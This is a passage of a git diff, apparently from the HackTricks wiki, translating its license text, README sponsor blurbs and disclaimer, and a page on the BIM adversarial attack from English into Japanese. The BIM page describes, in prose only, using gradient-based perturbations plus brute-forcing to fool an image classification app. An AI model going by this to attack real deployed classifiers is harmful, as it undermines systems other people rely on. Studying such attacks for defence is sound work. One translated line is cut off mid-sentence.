__可能な限り、法的理論(過失を含む)またはその他の理由に基づき、ライセンサーはこのパブリックライセンスまたはライセンスされた素材の使用に起因する直接、特別、間接、付随的、結果的、懲罰的、模範的な損失、費用、経費、または損害について、ライセンシーに対して一切の責任を負いません。ライアビリティの制限が全面または一部で許可されていない場合、この制限は適用されない場合があります。__ - v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable; +c. 上記の保証の免責事項と責任制限は、可能な限り絶対的な免責事項および免責事項の放棄に最も近い方法で解釈されます。 - B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and +## セクション6 - 期間と終了。 - C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License. +a. このパブリックライセンスは、ここでライセンスされた著作権および類似の権利の期間に適用されます。ただし、このパブリックライセンスに違反した場合、このパブリックライセンスの権利は自動的に終了します。 - 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information. +b. セクション6(a)に基づき、ライセンスされた素材の使用権が終了した場合、次のように再開されます: - 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable. +1. 違反が修正された日付から30日以内に修正された場合、自動的に再開されます。 - 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License. +2. ライセンサーによる明示的な再開の場合。 -## Section 4 – Sui Generis Database Rights. +疑義を回避するために、このセクション6(b)は、ライセンサーがこのパブリックライセンスの違反に対する救済措置を求める権利に影響を与えません。 -Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: +c. 疑義を回避するために、ライセンサーはライセンスされた素材を別の条件または条件で提供することもあり、またいつでもライセンスされた素材の配布を停止することもあります。ただし、これによってこのパブリックライセンスは終了しません。 -a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only; +d. セクション1、5、6、7、および8は、このパブリックライセンスの終了後も存続します。 -b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and +## セクション7 - その他の条件。 -c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database. +a. ライセンサーは、明示的に同意しない限り、ユーザーから伝えられた追加または異なる条件に拘束されません。 -For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. +b. ここに記載されていないライセンスされた素材に関する取り決め、理解、または合意は、このパブリックライセンスの条件とは別に独立しています。 -## Section 5 – Disclaimer of Warranties and Limitation of Liability. +## セクション8 - 解釈。 -a. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__ +a. 疑義を回避するために、このパブリックライセンスは、このパブリックライセンスの許可なしに合法的に行われる可能性のあるライセンスされた素材の使用に対して、減少、制限、制約、または条件を設けるものではありません。 -b. __To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.__ +b. 可能な限り、このパブリックライセンスのいかなる条項も強制されない場合、それを強制可能な最小限の範囲に自動的に改正します。規定が改正できない場合、それはこのパブリックライセンスから切り離され、残りの条項と条件の強制可能性に影響を与えません。 -c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. - -## Section 6 – Term and Termination. - -a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically. - -b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates: - - 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or - - 2. upon express reinstatement by the Licensor. - - For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License. - -c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License. - -d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License. - -## Section 7 – Other Terms and Conditions. - -a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. - -b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. - -## Section 8 – Interpretation. - -a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. - -b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions. - -c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor. - -d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority. +c. ライセンサーの明示的な同意がない限り、このパブリックライセンスのいかなる条項または条件も放棄されず、遵守の失敗も同意されません。 +d. このパブリックライセンスには、ライセンサーまたはユーザーに適用される特権や免除に制限または放棄を意味するものではありません。これには、任意の管轄権または権限の法的手続きからの特権や免除が含まれます。 ``` -Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. +Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/). ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/README.md b/README.md index 4a7d413e5..514b51e0d 100644 --- a/README.md +++ b/README.md @@ -1,44 +1,43 @@ --- description: >- - Welcome to the wiki where you will find each hacking trick/technique/whatever - I have learnt from CTFs, real life apps, reading researches, and news. +ハッキングのトリック/テクニック/その他、私がCTF、実際のアプリ、研究、ニュースから学んだものを見つけることができるウィキへようこそ。 --- # HackTricks
-_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ によるものです。_ {% hint style="info" %} -**Welcome to the wiki where you will find each hacking trick/technique/whatever I have learnt from CTFs, real life apps, reading researches, and news.** +**CTF、実際のアプリ、研究、ニュースから学んだハッキングのトリック/テクニック/その他を見つけることができるウィキへようこそ。** {% endhint %} -Here you can find a little **introduction:** +ここでは少しの**紹介**があります: -## [**Pentesting Methodology**](generic-methodologies-and-resources/pentesting-methodology.md) +## [**ペネトレーションテストの方法論**](generic-methodologies-and-resources/pentesting-methodology.md) -Here you will find the **typical flow** that **you should follow when pentesting** one or more **machines**. +ここでは、1つまたは複数の**マシン**のペネトレーションテストを行う際に**従うべき典型的なフロー**を見つけることができます。 -**Click on the title to start!** +**タイトルをクリックして開始してください!** -## Corporate Sponsors +## コーポレートスポンサー ### [STM Cyber](https://www.stmcyber.com) ![](<.gitbook/assets/image (642) (1) (1) (1).png>) -[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentesting, Red teams and training. +[**STM Cyber**](https://www.stmcyber.com)は、**HACK THE UNHACKABLE**というスローガンを掲げる素晴らしいサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペネトレーションテスト、レッドチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。 -You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) +[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で彼らの**ブログ**をチェックできます。 -**STM Cyber** also support cybersecurity open source projects like HackTricks :) +**STM Cyber**はHackTricksのオープンソースプロジェクトもサポートしています :) ### [RootedCON](https://www.rootedcon.com/)
-[**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。技術的な知識を促進することを使命としており、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の活発な交流の場です。 {% embed url="https://www.rootedcon.com/" %} @@ -46,9 +45,9 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm ![](.gitbook/assets/i3.png) -**Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.** +**Intigriti**は、ヨーロッパで最も優れたエシカルハッキングおよびバグバウンティプラットフォームです。 -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してみてください!今日から[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**の報奨金を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -57,23 +56,23 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools. +世界で最も**高度な**コミュニティツールによって**ワークフローを簡単に構築**し、自動化するために[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用してください。 -Get Access Today: +今すぐアクセスを取得: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm\_campaign=hacktrics&utm\_medium=banner&utm\_source=hacktricks" %} ### [HACKENPROOF](https://bit.ly/3xrrDrL)
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL)して、web3のバグについて詳しく学びましょう。 -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する \--- @@ -81,13 +80,13 @@ Get Access Today:
-[**WebSec**](https://websec.nl) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach. +[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロのサイバーセキュリティ企業であり、**最新のサイバーセキュリティの脅威からビジネスを保護**するために、**攻撃的なセキュリティサービス**を提供しています。 -WebSec is an **all-in-one security company** which means they do it all; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing and much more. +WebSecは**オールインワンのセキュリティ企業**であり、ペネトレーションテスト、セキュリティ監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行っています。 -Another cool thing about WebSec is that unlike the industry average WebSec is **very confident in their skills**, to such an extent that they **guarantee the best quality results**, it states on their website "**If we can't hack it, You don't pay it!**". For more info take a look at their [**website**](https://websec.nl/en/) and [**blog**](https://websec.nl/blog/)! +WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**ハックできなければ、支払いはありません!**」と明記されており、最高品質の結果を保証しています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください! -In addition to the above WebSec is also a **committed supporter of HackTricks.** +上記に加えて、WebSecはHackTricksの**熱心な支援者**でもあります。 {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} @@ -95,45 +94,44 @@ In addition to the above WebSec is also a **committed supporter of HackTricks.**
-[**DragonJAR is a leading offensive cybersecurity company**](https://www.dragonjar.org/) **located in Colombia**. DragonJAR offers [comprehensive offensive cybersecurity services, such as **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) in various areas and practically **any technology**, **Red Team** attack simulations, **physical** security testing, **stress testing**, social engineering, source **code security review**, and cybersecurity training. Additionally, they organize the **DragonJAR Security Conference**, [an international cybersecurity congress](https://www.dragonjarcon.org/) that has been held for over a decade, becoming a showcase for the latest security research in Spanish and of great relevance in the region. - -[**DragonJAR es una empresa líder en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**, DragonJAR ofrece [servicios integrales de seguridad informática ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en seguridad informática. Asimismo, organiza la **DragonJAR Security Conference**, [un congreso internacional de seguridad informática](https://www.dragonjarcon.org/) que se ha realizado durante más de una década, convirtiéndose en el escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región. +[**DragonJARは、コロンビアに拠点を置く主要な攻撃的なサイバーセキュリティ企業**](https://www.dragonjar.org/)です。DragonJARは、さまざまな分野やほとんどの技術における**ペネトレーションテスト**など、包括的な攻撃的なサイバーセキュリティサービス、**レッドチーム**の攻撃シミュレーション、**物理**セキュリティテスト、**ストレステスト**、ソーシャルエンジニアリング、ソース**コードのセキュリティレビュー**、サイバーセキュリティトレーニングを提供しています。さらに、彼らは10年以上開催されてきた**DragonJAR Security Conference**を主催しており、スペイン語での最新のセキュリティ研究を紹介するショーケースとして、その地域で非常に重要な存在となっています。 +[**DragonJAR es una empresa líder en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**, DragonJAR ofrece [servicios integrales de seguridad informática ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, ** ### [SYN CUBES](https://www.syncubes.com/)
-**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions. +**セキュリティスキルをサービスとして提供する**プラットフォームは、**グローバルな攻撃的なセキュリティの専門知識とスマートな自動化**を組み合わせ、情報をリアルタイムで提供し、意思決定に必要なデータを提供します。 {% embed url="https://www.syncubes.com/" %} -## License +## ライセンス -**Copyright © Carlos Polop 2023. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ -**If you want to use it with commercial purposes, contact me.** +**Copyright © Carlos Polop 2023. それ以外の場所では(書籍にコピーされた外部の情報は元の著者に帰属します)、Carlos Polopによる**[**HACK TRICKS**](https://github.com/carlospolop/hacktricks)**のテキストは**[**Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**でライセンスされています。**\ +**商業目的で使用する場合は、私に連絡してください。** -## **Disclaimer** +## **免責事項** {% hint style="danger" %} -This book, 'HackTricks,' is intended for educational and informational purposes only. The content within this book is provided on an 'as is' basis, and the authors and publishers make no representations or warranties of any kind, express or implied, about the completeness, accuracy, reliability, suitability, or availability of the information, products, services, or related graphics contained within this book. Any reliance you place on such information is therefore strictly at your own risk. +この書籍『HackTricks』は教育および情報提供の目的でのみ使用されることを意図しています。この書籍内のコンテンツは「現状のまま」提供され、著者および出版者は、この書籍内に含まれる情報、製品、サービス、または関連するグラフィックの完全性、正確性、信頼性、適合性、または利用可能性について、明示または黙示を問わず、いかなる種類の表明または保証も行いません。そのような情報に対する依存は、完全に自己の責任で行ってください。 -The authors and publishers shall in no event be liable for any loss or damage, including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of, or in connection with, the use of this book. +著者および出版者は、この書籍の使用に起因する、間接的または結果的な損失または損害、またはデータまたは利益の損失など、いかなる損害または損害に対しても一切の責任を負いません。 -Furthermore, the techniques and tips described in this book are provided for educational and informational purposes only, and should not be used for any illegal or malicious activities. The authors and publishers do not condone or support any illegal or unethical activities, and any use of the information contained within this book is at the user's own risk and discretion. +さらに、この書籍で説明されている技術やヒントは、教育および情報提供の目的でのみ提供されるものであり、いかなる違法または悪意のある活動にも使用してはなりません。著者および出版者は、違法または非倫理的な活動を是認または支持するものではなく、この書籍内に含まれる情報の使用は、ユーザー自身のリスクと裁量によるものです。 -The user is solely responsible for any actions taken based on the information contained within this book, and should always seek professional advice and assistance when attempting to implement any of the techniques or tips described herein. +ユーザーは、この書籍内に含まれる情報に基づいて行われるすべての行動について、自己の責任であり、これらの技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。 -By using this book, the user agrees to release the authors and publishers from any and all liability and responsibility for any damages, losses, or harm that may result from the use of this book or any of the information contained within it. +この書籍を使用することで、ユーザーは、この書籍またはその中に含まれる情報の使用によって生じるいかなる損害、損失、または害に対しても、著者および出版者を免責し、責任を負わないことに同意します。 {% endhint %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)**をチェックしてください!** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md index 35ccb4681..5f3642d0f 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md @@ -1,48 +1,44 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-This time we introduce a new type of gradient based attack, in order to brute force an image classification app (can be shaped and used for any input of course), the BIM, or Basic Iteration Method. +今回は、画像分類アプリ(もちろん任意の入力にも形成して使用できる)でブルートフォース攻撃を行う新しいタイプの勾配ベースの攻撃、BIM(Basic Iteration Method)を紹介します。 -It's reccomended to see at least the explanation in the [**introduction challenge colab Notebook**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR) +BIMの詳細については、[**導入チャレンジcolabノートブック**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR)の説明を少なくとも見ることをお勧めします。 -To go deeper on the BIM topic: +BIMの詳細についてはこちらをご覧ください: https://arxiv.org/pdf/1607.02533.pdf -As usual we will provide only the A.I. attack core part, it's up to you to complete the tool and blending it with PT techniques, depending on the situations. +通常通り、A.I.攻撃のコア部分のみを提供します。状況に応じて、ツールを完成させ、PT技術と組み合わせることはあなた次第です。 -Please Note: -Remeber, in those kind of scenarios, in order to mime real-based attack applications, we don't have the exact model to fool or the image target in which we would like to transform our image. That's why, in order to overcome this issue, we must blend our core script, with a bruteforcer logic, accordingly to the application responses we want to fool. +注意してください: +このようなシナリオでは、実際の攻撃アプリケーションを模倣するため、欺くべき正確なモデルや画像ターゲットはありません。そのため、欺くためのアプリケーションの応答に応じて、コアスクリプトとブルートフォーサーロジックを組み合わせる必要があります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
